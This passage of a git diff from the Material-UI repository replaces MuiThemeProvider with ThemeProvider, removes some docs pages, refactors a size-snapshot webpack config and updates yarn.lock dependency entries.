-export default Page;
diff --git a/pages/api/mui-theme-provider.md b/pages/api/mui-theme-provider.md
deleted file mode 100644
index 49c1a434cb4a76..00000000000000
--- a/pages/api/mui-theme-provider.md
+++ /dev/null
@@ -1,28 +0,0 @@
----
-filename: /packages/material-ui/src/styles/MuiThemeProvider.js
----
-
-<!--- This documentation is automatically generated, do not try to edit it. -->
-
-# MuiThemeProvider API
-
-<p class="description">The API documentation of the MuiThemeProvider React component. Learn more about the properties and the CSS customization points.</p>
-
-```js
-import MuiThemeProvider from '@material-ui/core/styles/MuiThemeProvider';
-```
-
-This component takes a `theme` property.
-It makes the `theme` available down the React tree thanks to React context.
-This component should preferably be used at **the root of your component tree**.
-
-## Props
-
-| Name | Type | Default | Description |
-|:-----|:-----|:--------|:------------|
-| <span class="prop-name required">children *</span> | <span class="prop-type">node</span> |   | You can wrap a node. |
-| <span class="prop-name">disableStylesGeneration</span> | <span class="prop-type">bool</span> |   | You can disable the generation of the styles with this option. It can be useful when traversing the React tree outside of the HTML rendering step on the server. Let's say you are using react-apollo to extract all the queries made by the interface server-side. You can significantly speed up the traversal with this property. |
-| <span class="prop-name">sheetsManager</span> | <span class="prop-type">object</span> |   | The sheetsManager is used to deduplicate style sheet injection in the page. It's deduplicating using the (theme, styles) couple. On the server, you should provide a new instance for each request. |
-| <span class="prop-name required">theme *</span> | <span class="prop-type">union:&nbsp;object&nbsp;&#124;<br>&nbsp;func<br></span> |   | A theme object. |
-
-
diff --git a/pages/customization/css-in-js.js b/pages/customization/css-in-js.js
deleted file mode 100644
index 4afd50d79db4b6..00000000000000
--- a/pages/customization/css-in-js.js
+++ /dev/null
@@ -1,18 +0,0 @@
-import 'docs/src/modules/components/bootstrap';
-// --- Post bootstrap -----
-import React from 'react';
-import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';
-
-const req = require.context('docs/src/pages/customization/css-in-js', false, /\.md|\.js$/);
-const reqSource = require.context(
-  '!raw-loader!../../docs/src/pages/customization/css-in-js',
-  false,
-  /\.js$/,
-);
-const reqPrefix = 'pages/customization/css-in-js';
-
-function Page() {
-  return <MarkdownDocs req={req} reqSource={reqSource} reqPrefix={reqPrefix} />;
-}
-
-export default Page;
diff --git a/pages/getting-started/comparison.js b/pages/getting-started/comparison.js
deleted file mode 100644
index 9c83002b17fa5a..00000000000000
--- a/pages/getting-started/comparison.js
+++ /dev/null
@@ -1,18 +0,0 @@
-import 'docs/src/modules/components/bootstrap';
-// --- Post bootstrap -----
-import React from 'react';
-import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';
-
-const req = require.context('docs/src/pages/getting-started/comparison', false, /\.md|\.js$/);
-const reqSource = require.context(
-  '!raw-loader!../../docs/src/pages/getting-started/comparison',
-  false,
-  /\.js$/,
-);
-const reqPrefix = 'pages/getting-started/comparison';
-
-function Page() {
-  return <MarkdownDocs req={req} reqSource={reqSource} reqPrefix={reqPrefix} />;
-}
-
-export default Page;
diff --git a/scripts/sizeSnapshot/webpack.config.js b/scripts/sizeSnapshot/webpack.config.js
index ff6e851c1a91ac..4227d3ce7e6f82 100644
--- a/scripts/sizeSnapshot/webpack.config.js
+++ b/scripts/sizeSnapshot/webpack.config.js
@@ -18,39 +18,39 @@ async function getSizeLimitBundles() {
 
   return [
     {
-      name: '@material-ui/core/Paper',
+      name: '@material-ui/core',
       webpack: true,
-      path: 'packages/material-ui/build/Paper/index.js',
+      path: 'packages/material-ui/build/index.js',
     },
     {
-      name: '@material-ui/core/Paper.esm',
+      name: '@material-ui/styles',
       webpack: true,
-      path: 'packages/material-ui/build/esm/Paper/index.js',
+      path: 'packages/material-ui-styles/build/index.js',
     },
     {
-      name: '@material-ui/core',
+      name: '@material-ui/system',
       webpack: true,
-      path: 'packages/material-ui/build/index.js',
+      path: 'packages/material-ui-system/build/index.js',
     },
     {
-      name: '@material-ui/core/styles/createMuiTheme',
+      name: '@material-ui/lab',
       webpack: true,
-      path: 'packages/material-ui/build/styles/createMuiTheme.js',
+      path: 'packages/material-ui-lab/build/index.js',
     },
     {
-      name: '@material-ui/lab',
+      name: 'Paper',
       webpack: true,
-      path: 'packages/material-ui-lab/build/index.js',
+      path: 'packages/material-ui/build/esm/Paper/index.js',
     },
     {
-      name: '@material-ui/styles',
+      name: 'Paper.cjs',
       webpack: true,
-      path: 'packages/material-ui-styles/build/index.js',
+      path: 'packages/material-ui/build/Paper/index.js',
     },
     {
-      name: '@material-ui/system',
+      name: 'createMuiTheme',
       webpack: true,
-      path: 'packages/material-ui-system/build/index.js',
+      path: 'packages/material-ui/build/styles/createMuiTheme.js',
     },
     {
       name: 'colorManipulator',
@@ -71,14 +71,14 @@ async function getSizeLimitBundles() {
     },
     {
       // vs https://bundlephobia.com/result?p=react-popper
-      name: '@material-ui/core/Popper',
+      name: 'Popper',
       webpack: true,
       path: 'packages/material-ui/build/esm/Popper/index.js',
     },
     {
       // vs https://bundlephobia.com/result?p=react-responsive
       // vs https://bundlephobia.com/result?p=react-media
-      name: '@material-ui/core/useMediaQuery',
+      name: 'useMediaQuery',
       webpack: true,
       path: 'packages/material-ui/build/useMediaQuery/index.js',
     },
@@ -97,8 +97,9 @@ async function getSizeLimitBundles() {
 
 module.exports = getSizeLimitBundles;
 
-module.exports = new Promise(async resolve => {
-  const entry = (await getSizeLimitBundles()).reduce((acc, bundle) => {
+module.exports = async function webpackConfig() {
+  const entries = await getSizeLimitBundles();
+  const entry = entries.reduce((acc, bundle) => {
     acc[bundle.name] = path.join(workspaceRoot, bundle.path);
     return acc;
   }, {});
@@ -124,5 +125,5 @@ module.exports = new Promise(async resolve => {
     },
   };
 
-  resolve(config);
-});
+  return config;
+};
diff --git a/test/regressions/index.js b/test/regressions/index.js
index dfb21eeeb6fc94..9a1c29fdf1a338 100644
--- a/test/regressions/index.js
+++ b/test/regressions/index.js
@@ -2,7 +2,8 @@ import React from 'react';
 import ReactDOM from 'react-dom';
 import vrtest from 'vrtest/client';
 import webfontloader from 'webfontloader';
-import { createMuiTheme, MuiThemeProvider } from '@material-ui/core/styles';
+import { createMuiTheme } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import TestViewer from './TestViewer';
 
 const theme = createMuiTheme();
@@ -138,11 +139,11 @@ tests.forEach(test => {
 
   suite.createTest(test.name, () => {
     ReactDOM.render(
-      <MuiThemeProvider theme={theme}>
+      <ThemeProvider theme={theme}>
         <TestViewer>
           <TestCase />
         </TestViewer>
-      </MuiThemeProvider>,
+      </ThemeProvider>,
       rootEl,
     );
   });
diff --git a/yarn.lock b/yarn.lock
index fa3a20ee42ce23..51fd26266d4230 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -973,7 +973,7 @@
     "@emotion/utils" "0.11.1"
     "@emotion/weak-memoize" "0.2.2"
 
-"@emotion/core@^10.0.0":
+"@emotion/core@^10.0.0", "@emotion/core@latest":
   version "10.0.7"
   resolved "https://registry.yarnpkg.com/@emotion/core/-/core-10.0.7.tgz#a894324b944cb06dcd36813afe35f07b0ed8d20d"
   integrity sha512-f5ZeA8R5mTiD2VDFCy6kRTXrQXN/1s79WPvEZZSwROJIyy9mHBB0/Lxg9BSIXfFdXryVw76kHNehTcBkgDYS7A==
@@ -1056,7 +1056,7 @@
     "@emotion/utils" "0.11.1"
     object-assign "^4.1.1"
 
-"@emotion/styled@^10.0.0":
+"@emotion/styled@^10.0.0", "@emotion/styled@latest":
   version "10.0.7"
   resolved "https://registry.yarnpkg.com/@emotion/styled/-/styled-10.0.7.tgz#e36c84bf14435127481a1ea0b038d64a15c13995"
   integrity sha512-H/7wi2bFYl6GdxBPYef0FNYay1ay5iKFGYxmkuH8WJZnDc/bf1Bx+lH9IQ+QujAMgmAtUHwJsgO2vwj0LEIYcg==
@@ -1856,9 +1856,9 @@
   integrity sha512-ui3WwXmjTaY73fOQ3/m3nnajU/Orhi6cEu5rzX+BrAAJxa3eITXZ5ch9suPqtM03OWhAHhPSyBGCN4UKoxO20Q==
 
 "@types/jss@^9.5.6":
-  version "9.5.7"
-  resolved "https://registry.yarnpkg.com/@types/jss/-/jss-9.5.7.tgz#fa57a6d0b38a3abef8a425e3eb6a53495cb9d5a0"
-  integrity sha512-OZimStu2QdDMtZ0h72JXqvLVbWUjXd5ZLk8vxLmfuC/nM1AabRyyGoxSufnzixrbpEcVcyy/JV5qeQu2JnjVZw==
+  version "9.5.8"
+  resolved "https://registry.yarnpkg.com/@types/jss/-/jss-9.5.8.tgz#258391f42211c042fc965508d505cbdc579baa5b"
+  integrity sha512-bBbHvjhm42UKki+wZpR89j73ykSXg99/bhuKuYYePtpma3ZAnmeGnl0WxXiZhPGsIfzKwCUkpPC0jlrVMBfRxA==
   dependencies:
     csstype "^2.0.0"
     indefinite-observable "^1.0.1"
@@ -2911,7 +2911,7 @@ before-after-hook@^1.2.0:
   resolved "https://registry.yarnpkg.com/before-after-hook/-/before-after-hook-1.3.2.tgz#7bfbf844ad670aa7a96b5a4e4e15bd74b08ed66b"
   integrity sha512-zyPgY5dgbf99c0uGUjhY4w+mxqEGxPKg9RQDl34VvrVh2bM31lFN+mwR1ZHepq/KA3VCPk1gwJZL6IIJqjLy2w==
 
-benchmark@^2.1.4:
+benchmark@latest:
   version "2.1.4"
   resolved "https://registry.yarnpkg.com/benchmark/-/benchmark-2.1.4.tgz#09f3de31c916425d498cc2ee565a0ebf3c2a5629"
   integrity sha1-CfPeMckWQl1JjMLuVloOvzwqVik=
@@ -4317,17 +4317,10 @@ css-url-regex@^1.1.0:
   resolved "https://registry.yarnpkg.com/css-url-regex/-/css-url-regex-1.1.0.tgz#83834230cc9f74c457de59eebd1543feeb83b7ec"
   integrity sha1-g4NCMMyfdMRX3lnuvRVD/uuDt+w=
 
-css-vendor@^0.3.8:
-  version "0.3.8"
-  resolved "https://registry.yarnpkg.com/css-vendor/-/css-vendor-0.3.8.tgz#6421cfd3034ce664fe7673972fd0119fc28941fa"
-  integrity sha1-ZCHP0wNM5mT+dnOXL9ARn8KJQfo=
-  dependencies:
-    is-in-browser "^1.0.2"
-
-css-vendor@^1.1.0:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/css-vendor/-/css-vendor-1.2.1.tgz#21b914913d3a68bab2708090dab2e61db7c9eaec"
-  integrity sha512-ZpwiWxn5jWNJ7NF3DAb/Dc/+c2lRu+fnovej/adCv3VJsULJSjdXEpUwRcq4fnpAAh98Hi7b0GDnlyoNFcdv1g==
+css-vendor@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/css-vendor/-/css-vendor-2.0.0.tgz#c7f4a49efbdd660c04e239af4626e2684d1ba60e"
+  integrity sha512-YOsuXi6bO0+q2QqIvWKuPpq/eMEeN4bm40zWFPQRl6UaBV1UZliARLgvEoxmtFm/KB5MpL8ySxpoGc//L2Li8Q==
   dependencies:
     "@babel/runtime" "^7.3.1"
     is-in-browser "^1.0.2"
@@ -5106,7 +5099,7 @@ emojis-list@^2.0.0:
   resolved "https://registry.yarnpkg.com/emojis-list/-/emojis-list-2.1.0.tgz#4daa4d9db00f9819880c79fa457ae5b09a1fd389"
   integrity sha1-TapNnbAPmBmIDHn6RXrlsJof04k=
 
-emotion-server@^10.0.6:
+emotion-server@latest:
   version "10.0.7"
   resolved "https://registry.yarnpkg.com/emotion-server/-/emotion-server-10.0.7.tgz#1aad48e23de0eed0f9d175c98ea1c48d4e8c0667"
   integrity sha512-bjOs3bQa4MqWCTvVdN1fc9LeYMW76IsDcUzD0m4bUl8SNoRcH9dXXgwII+L7XotnfsB0ttg4R/G7QeLDhfGWjQ==
@@ -5122,14 +5115,6 @@ emotion-theming@^10.0.5:
     hoist-non-react-statics "^2.3.1"
     object-assign "^4.1.1"
 
-emotion@^10.0.7:
-  version "10.0.7"
-  resolved "https://registry.yarnpkg.com/emotion/-/emotion-10.0.7.tgz#74ea432c7004c2bd5452d017d52e307a7a31a835"
-  integrity sha512-k1gGBoel9rlHvHIUVHyk4iJPsRaDsrpr7vKivOmdJAH2Va+smxIYvsjjzXnxTeqJt5IwcVBareuoAJMxeShG/w==
-  dependencies:
-    babel-plugin-emotion "^10.0.7"
-    create-emotion "^10.0.7"
-
 emotion@^9.1.2:
   version "9.2.12"
   resolved "https://registry.yarnpkg.com/emotion/-/emotion-9.2.12.tgz#53925aaa005614e65c6e43db8243c843574d1ea9"
@@ -5138,6 +5123,14 @@ emotion@^9.1.2:
     babel-plugin-emotion "^9.2.11"
     create-emotion "^9.2.12"
 
+emotion@latest:
+  version "10.0.7"
+  resolved "https://registry.yarnpkg.com/emotion/-/emotion-10.0.7.tgz#74ea432c7004c2bd5452d017d52e307a7a31a835"
+  integrity sha512-k1gGBoel9rlHvHIUVHyk4iJPsRaDsrpr7vKivOmdJAH2Va+smxIYvsjjzXnxTeqJt5IwcVBareuoAJMxeShG/w==
+  dependencies:
+    babel-plugin-emotion "^10.0.7"
+    create-emotion "^10.0.7"
+
 encodeurl@~1.0.1, encodeurl@~1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59"
@@ -6802,7 +6795,7 @@ hmac-drbg@^1.0.0:
     minimalistic-assert "^1.0.0"
     minimalistic-crypto-utils "^1.0.1"
 
-hoist-non-react-statics@3.2.0, hoist-non-react-statics@^2.3.1, hoist-non-react-statics@^2.5.0, hoist-non-react-statics@^3.2.1:
+hoist-non-react-statics@3.2.0, hoist-non-react-statics@^2.3.1, hoist-non-react-statics@^2.5.0, hoist-non-react-statics@^3.2.0, hoist-non-react-statics@^3.2.1, hoist-non-react-statics@^3.3.0:
   version "3.3.0"
   resolved "https://registry.yarnpkg.com/hoist-non-react-statics/-/hoist-non-react-statics-3.3.0.tgz#b09178f0122184fb95acf525daaecb4d8f45958b"
   integrity sha512-0XsbTXxgiaCDYDIWFcwkmerZPSwywfUqYmwT4jzewKTQSWoE6FCMoUVOeBJWK3E/CrWbxRG3m5GzY4lnIwGRBA==
@@ -6952,7 +6945,7 @@ hyperlinker@^1.0.0:
   resolved "https://registry.yarnpkg.com/hyperlinker/-/hyperlinker-1.0.0.tgz#23dc9e38a206b208ee49bc2d6c8ef47027df0c0e"
   integrity sha512-Ty8UblRWFEcfSuIaajM34LdPXIhbs1ajEX/BBPv24J+enSVaEVY63xQ6lTO9VRYS5LAoghIG0IDJ+p+IPzKUQQ==
 
-hyphenate-style-name@^1.0.2:
+hyphenate-style-name@^1.0.3:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/hyphenate-style-name/-/hyphenate-style-name-1.0.3.tgz#097bb7fa0b8f1a9cf0bd5c734cf95899981a9b48"
   integrity sha512-EcuixamT82oplpoJ2XU4pDtKGWQ7b00CD9f1ug9IaQ3p1bkHMiKCZ9ut9QDI6qsa6cpUuB+A/I+zLtdNK4n2DQ==
@@ -7356,11 +7349,6 @@ is-fullwidth-code-point@^2.0.0:
   resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz#a3b30a5c4f199183167aaab93beefae3ddfb654f"
   integrity sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=
 
-is-function@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/is-function/-/is-function-1.0.1.tgz#12cfb98b65b57dd3d193a3121f5f6e2f437602b5"
-  integrity sha1-Es+5i2W1fdPRk6MSH19uL0N2ArU=
-
 is-glob@^2.0.0, is-glob@^2.0.1:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-2.0.1.tgz#d096f926a3ded5600f3fdfd91198cb0888c2d863"
@@ -7901,129 +7889,128 @@ jsprim@^1.2.2:
     json-schema "0.2.3"
     verror "1.10.0"
 
-jss-camel-case@^6.0.0, jss-camel-case@^6.1.0:
-  version "6.1.0"
-  resolved "https://registry.yarnpkg.com/jss-camel-case/-/jss-camel-case-6.1.0.tgz#ccb1ff8d6c701c02a1fed6fb6fb6b7896e11ce44"
-  integrity sha512-HPF2Q7wmNW1t79mCqSeU2vdd/vFFGpkazwvfHMOhPlMgXrJDzdj9viA2SaHk9ZbD5pfL63a8ylp4++irYbbzMQ==
+jss-plugin-camel-case@10.0.0-alpha.12, jss-plugin-camel-case@^10.0.0-alpha.12:
+  version "10.0.0-alpha.12"
+  resolved "https://registry.yarnpkg.com/jss-plugin-camel-case/-/jss-plugin-camel-case-10.0.0-alpha.12.tgz#1066c051137867342da6cf0db9b50c93b8caa8f5"
+  integrity sha512-9kepPCmQN8ajAgpNu7ddlb/ZxTBWrURrQd5HtlgWeMvHZ6OUDQnnRvQKzzx+d1v7BmddB/qLOznI6AYKytJOSw==
   dependencies:
-    hyphenate-style-name "^1.0.2"
+    "@babel/runtime" "^7.3.1"
+    hyphenate-style-name "^1.0.3"
+    jss "10.0.0-alpha.12"
 
-jss-compose@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/jss-compose/-/jss-compose-5.0.0.tgz#ce01b2e4521d65c37ea42cf49116e5f7ab596484"
-  integrity sha512-YofRYuiA0+VbeOw0VjgkyO380sA4+TWDrW52nSluD9n+1FWOlDzNbgpZ/Sb3Y46+DcAbOS21W5jo6SAqUEiuwA==
+jss-plugin-compose@10.0.0-alpha.12:
+  version "10.0.0-alpha.12"
+  resolved "https://registry.yarnpkg.com/jss-plugin-compose/-/jss-plugin-compose-10.0.0-alpha.12.tgz#9166e142e79189a55cd52e4f741cc0e4cdc97c5c"
+  integrity sha512-J+96cXY7g/EPouvgSugAmiEH1r18w8LNoJ+1LIDA9XUrOCmXvMqIszaI/aydV9arq0SqLGWL+jXkpw04U7Rv6g==
   dependencies:
-    warning "^3.0.0"
-
-jss-default-unit@^8.0.2:
-  version "8.0.2"
-  resolved "https://registry.yarnpkg.com/jss-default-unit/-/jss-default-unit-8.0.2.tgz#cc1e889bae4c0b9419327b314ab1c8e2826890e6"
-  integrity sha512-WxNHrF/18CdoAGw2H0FqOEvJdREXVXLazn7PQYU7V6/BWkCV0GkmWsppNiExdw8dP4TU1ma1dT9zBNJ95feLmg==
-
-jss-expand@^5.3.0:
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/jss-expand/-/jss-expand-5.3.0.tgz#02be076efe650125c842f5bb6fb68786fe441ed6"
-  integrity sha512-NiM4TbDVE0ykXSAw6dfFmB1LIqXP/jdd0ZMnlvlGgEMkMt+weJIl8Ynq1DsuBY9WwkNyzWktdqcEW2VN0RAtQg==
+    "@babel/runtime" "^7.3.1"
+    jss "10.0.0-alpha.12"
+    tiny-warning "^1.0.2"
 
-jss-extend@^6.2.0:
-  version "6.2.0"
-  resolved "https://registry.yarnpkg.com/jss-extend/-/jss-extend-6.2.0.tgz#4af09d0b72fb98ee229970f8ca852fec1ca2a8dc"
-  integrity sha512-YszrmcB6o9HOsKPszK7NeDBNNjVyiW864jfoiHoMlgMIg2qlxKw70axZHqgczXHDcoyi/0/ikP1XaHDPRvYtEA==
+jss-plugin-default-unit@10.0.0-alpha.12, jss-plugin-default-unit@^10.0.0-alpha.12:
+  version "10.0.0-alpha.12"
+  resolved "https://registry.yarnpkg.com/jss-plugin-default-unit/-/jss-plugin-default-unit-10.0.0-alpha.12.tgz#1346580316c8b199342c5f893f4a10b6a2a98f1f"
+  integrity sha512-6lwbTnLu1igvSpIjjehwCyrS+08ecdZY7n/JZNCB6/L70BT5zcBfMUf523o1JHigDsKvGZxFFmnEOcU1JM7fwA==
   dependencies:
-    warning "^3.0.0"
-
-jss-global@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/jss-global/-/jss-global-3.0.0.tgz#e19e5c91ab2b96353c227e30aa2cbd938cdaafa2"
-  integrity sha512-wxYn7vL+TImyQYGAfdplg7yaxnPQ9RaXY/cIA8hawaVnmmWxDHzBK32u1y+RAvWboa3lW83ya3nVZ/C+jyjZ5Q==
+    "@babel/runtime" "^7.3.1"
+    jss "10.0.0-alpha.12"
 
-jss-nested@^6.0.1:
-  version "6.0.1"
-  resolved "https://registry.yarnpkg.com/jss-nested/-/jss-nested-6.0.1.tgz#ef992b79d6e8f63d939c4397b9d99b5cbbe824ca"
-  integrity sha512-rn964TralHOZxoyEgeq3hXY8hyuCElnvQoVrQwKHVmu55VRDd6IqExAx9be5HgK0yN/+hQdgAXQl/GUrBbbSTA==
+jss-plugin-expand@10.0.0-alpha.12:
+  version "10.0.0-alpha.12"
+  resolved "https://registry.yarnpkg.com/jss-plugin-expand/-/jss-plugin-expand-10.0.0-alpha.12.tgz#f6185525a8360d0ae53807b789f38a73358d8e7f"
+  integrity sha512-lOLvidyon3zx1GpHD6E7xc8BPniGUVoQ7dxlS2ORRN0QqhOIcL4mEdeoJ5maz+jHgLzopt2P296NihOh9NJZJw==
   dependencies:
-    warning "^3.0.0"
+    "@babel/runtime" "^7.3.1"
+    jss "10.0.0-alpha.12"
 
-jss-plugin-camel-case@^10.0.0-alpha.7:
-  version "10.0.0-alpha.7"
-  resolved "https://registry.yarnpkg.com/jss-plugin-camel-case/-/jss-plugin-camel-case-10.0.0-alpha.7.tgz#7dcbd9acb6682f3102cb2d3356b4fd9642d93f17"
-  integrity sha512-Bwrav1ZB0XywdJW6TaEuFhKe1ZpZvUlESh3jsFOvebA9aFTYNCkmHMEqjA5+u9VMxksl3u77nnZHtukpxkzrBA==
+jss-plugin-extend@10.0.0-alpha.12:
+  version "10.0.0-alpha.12"
+  resolved "https://registry.yarnpkg.com/jss-plugin-extend/-/jss-plugin-extend-10.0.0-alpha.12.tgz#beac06526cabaf326dc066cce2a8b4a8f5f28f74"
+  integrity sha512-OXwKsA2vMKtW06rnuC3+7oK8hrnsKCYPHPzdDzEUv8i9HRHC6u8rg1ZFDLGj4hXuIKGJl90UmRW+t0D+NLY6HA==
   dependencies:
-    "@babel/runtime" "^7.0.0"
-    hyphenate-style-name "^1.0.2"
+    "@babel/runtime" "^7.3.1"
+    jss "10.0.0-alpha.12"
+    tiny-warning "^1.0.2"
 
-jss-plugin-default-unit@^10.0.0-alpha.7:
-  version "10.0.0-alpha.7"
-  resolved "https://registry.yarnpkg.com/jss-plugin-default-unit/-/jss-plugin-default-unit-10.0.0-alpha.7.tgz#f6dd0a03d545e7bf243c062bae3a832ac8c5ff6d"
-  integrity sha512-auuJUbQaWMxoHOVFPrfZNZpZm9ab8PZeDyvey8nMt2lbokkmZ53UyAnM/1kNsg5BdAXTItcLDxDB3I4gwNU84g==
+jss-plugin-global@10.0.0-alpha.12, jss-plugin-global@^10.0.0-alpha.12:
+  version "10.0.0-alpha.12"
+  resolved "https://registry.yarnpkg.com/jss-plugin-global/-/jss-plugin-global-10.0.0-alpha.12.tgz#7d2bff813fdcdd9db459012dca821a8fd93b3770"
+  integrity sha512-KhGk8+vwXrKdhb3Fk6iEEClfb5Kv60KEXMpaF9yMGCTiUdQ1aB/iHfqU4eHe83QtGOzPGauUctXeXtNMpwyccA==
   dependencies:
-    "@babel/runtime" "^7.0.0"
+    "@babel/runtime" "^7.3.1"
+    jss "10.0.0-alpha.12"
 
-jss-plugin-global@^10.0.0-alpha.7:
-  version "10.0.0-alpha.7"
-  resolved "https://registry.yarnpkg.com/jss-plugin-global/-/jss-plugin-global-10.0.0-alpha.7.tgz#38ca390802b62da490afbaafc581552a81977729"
-  integrity sha512-OWeoW4szLDgRUKviST+xfilqa8O5uXJCW+O3YonheCRTRJg6rRzlE/b5pfYPoU9UtwvY9n7JvwBX5r3c1lMsEQ==
+jss-plugin-nested@10.0.0-alpha.12, jss-plugin-nested@^10.0.0-alpha.12:
+  version "10.0.0-alpha.12"
+  resolved "https://registry.yarnpkg.com/jss-plugin-nested/-/jss-plugin-nested-10.0.0-alpha.12.tgz#745f37391e3dd60386f9e3b469255b82002084cb"
+  integrity sha512-Y33Bx3kqPUwTS/6S3baoIuCQ6DLMAXPts4xdBMrQ37K3rNIkTWpSy4HPZWZPz3FGbgROyug1OwZsPrtgm2K6CQ==
   dependencies:
-    "@babel/runtime" "^7.0.0"
+    "@babel/runtime" "^7.3.1"
+    jss "10.0.0-alpha.12"
+    tiny-warning "^1.0.2"
 
-jss-plugin-nested@^10.0.0-alpha.7:
-  version "10.0.0-alpha.7"
-  resolved "https://registry.yarnpkg.com/jss-plugin-nested/-/jss-plugin-nested-10.0.0-alpha.7.tgz#03a89c8f7c1d570a3d5f16dae3e61f7f2edb0316"
-  integrity sha512-wsRzuIZXAc6WMjc61mREW9cUrDxgSI7dK/fx5c7a06IDUfSn+83NJ30J/RB4oBnbQW9SijV/muujz7IJqpn9Gw==
+jss-plugin-props-sort@10.0.0-alpha.12, jss-plugin-props-sort@^10.0.0-alpha.12:
+  version "10.0.0-alpha.12"
+  resolved "https://registry.yarnpkg.com/jss-plugin-props-sort/-/jss-plugin-props-sort-10.0.0-alpha.12.tgz#a07fa31b7e483e0116bbbad337770f24ac158fe3"
+  integrity sha512-w/Xfng4zNNJWztHc/5PXBWpGPjDbWfTR8qJN7H/0+5tJWNBuYapDM97PpPaD/tjq1fPGlvk7d0o22pnqyVujDw==
   dependencies:
-    "@babel/runtime" "^7.0.0"
-    tiny-warning "^1.0.2"
+    "@babel/runtime" "^7.3.1"
+    jss "10.0.0-alpha.12"
 
-jss-plugin-props-sort@^10.0.0-alpha.7:
-  version "10.0.0-alpha.7"
-  resolved "https://registry.yarnpkg.com/jss-plugin-props-sort/-/jss-plugin-props-sort-10.0.0-alpha.7.tgz#46f1809fcae0acc048d0047aa54a4b9b6973597d"
-  integrity sha512-KXOCaHUk1+KXqE0z3q66/w1fDoy+VsZvI77gLxOqTsTrvIKFLX0jarwXogW3CDlaPQQFTZ6JykJJXtPRTBlstA==
+jss-plugin-rule-value-function@10.0.0-alpha.12, jss-plugin-rule-value-function@^10.0.0-alpha.12:
+  version "10.0.0-alpha.12"
+  resolved "https://registry.yarnpkg.com/jss-plugin-rule-value-function/-/jss-plugin-rule-value-function-10.0.0-alpha.12.tgz#40bd13ca3546aa05362c7c74769fdf71e6b05b39"
+  integrity sha512-/B7Ut/rKHXQLIOxkCQbiv9Uexz+esKCq0ODU4mJ+moB25kq5R52wJ03hNWZi5gIYswuhcHOuajzG+gIxKo+KUA==
   dependencies:
-    "@babel/runtime" "^7.0.0"
+    "@babel/runtime" "^7.3.1"
+    jss "10.0.0-alpha.12"
 
-jss-plugin-rule-value-function@^10.0.0-alpha.7:
-  version "10.0.0-alpha.7"
-  resolved "https://registry.yarnpkg.com/jss-plugin-rule-value-function/-/jss-plugin-rule-value-function-10.0.0-alpha.7.tgz#63df1078ac361dda67996e25291d90f7226ae59a"
-  integrity sha512-ett83hvIM69/LknmrWndrrdiDlfLfP+rneU5qP7gTOWJ7g1P9GuEL1Tc4CWdZUWBX+T58tgIBP0V1pzWCkP0QA==
+jss-plugin-rule-value-observable@10.0.0-alpha.12:
+  version "10.0.0-alpha.12"
+  resolved "https://registry.yarnpkg.com/jss-plugin-rule-value-observable/-/jss-plugin-rule-value-observable-10.0.0-alpha.12.tgz#f0d9a7f08a5b36a9bcbd38026b62a3203f7e7fc3"
+  integrity sha512-xF4Qk9rDMrwNwlg+aNUIQmfE2+aTz8ysJL9r8ViR6FE4dew1R220HFan5u8XO7ZTY0oWX+AV8SQSiULKeniCIA==
   dependencies:
-    "@babel/runtime" "^7.0.0"
+    "@babel/runtime" "^7.3.1"
+    jss "10.0.0-alpha.12"
+    symbol-observable "^1.2.0"
 
-jss-plugin-template@^10.0.0-alpha.3:
-  version "10.0.0-alpha.7"
-  resolved "https://registry.yarnpkg.com/jss-plugin-template/-/jss-plugin-template-10.0.0-alpha.7.tgz#336958b8cbf74c922443ea893cad0e4d6793717c"
-  integrity sha512-ao+eK/0yNYsPaVhmv/XYiiixaFyMcb8vAMthdpcYv0/9HzjexetO5huBrlvScLOtc5tw6pFQEJLG6HnTJquZ6Q==
+jss-plugin-template@10.0.0-alpha.12, jss-plugin-template@^10.0.0-alpha.12:
+  version "10.0.0-alpha.12"
+  resolved "https://registry.yarnpkg.com/jss-plugin-template/-/jss-plugin-template-10.0.0-alpha.12.tgz#faf6ef28effc16594796c2e6d1c1e5d62130242b"
+  integrity sha512-QCbiMumVDG1svoXXTLwXvvbuZgQwXa+Tfo7SI0fL6QPW64W1d3Q8+6ohMn1UELdCq7Rzlgj631XjUeYRwZcdnw==
   dependencies:
-    "@babel/runtime" "^7.0.0"
+    "@babel/runtime" "^7.3.1"
+    jss "10.0.0-alpha.12"
     tiny-warning "^1.0.2"
 
-jss-plugin-vendor-prefixer@^10.0.0-alpha.7:
-  version "10.0.0-alpha.7"
-  resolved "https://registry.yarnpkg.com/jss-plugin-vendor-prefixer/-/jss-plugin-vendor-prefixer-10.0.0-alpha.7.tgz#caa34eb0bc39f0c98f425e174fc220d1f1a8760a"
-  integrity sha512-YbIVgqq+dLimOBOEYggho1Iuc0roz4PJSZYyaok9n8JnXVIqPnxYJbr8+bMbvzJ5CL3eeJij/e7L2IPCceRKrA==
+jss-plugin-vendor-prefixer@10.0.0-alpha.12, jss-plugin-vendor-prefixer@^10.0.0-alpha.12:
+  version "10.0.0-alpha.12"
+  resolved "https://registry.yarnpkg.com/jss-plugin-vendor-prefixer/-/jss-plugin-vendor-prefixer-10.0.0-alpha.12.tgz#27b1fd069a36ee83f0f5b3f37ceba567ba17f02c"
+  integrity sha512-q/3NFFoEV/R6k1O8OtZDWR/+WY2zvxW+2unpTT2q90Ttaoz+pYa3CNuX+tLfCGqixV08gf8w5IVIBUQppf+zmg==
   dependencies:
-    "@babel/runtime" "^7.0.0"
-    css-vendor "^1.1.0"
+    "@babel/runtime" "^7.3.1"
+    css-vendor "^2.0.0"
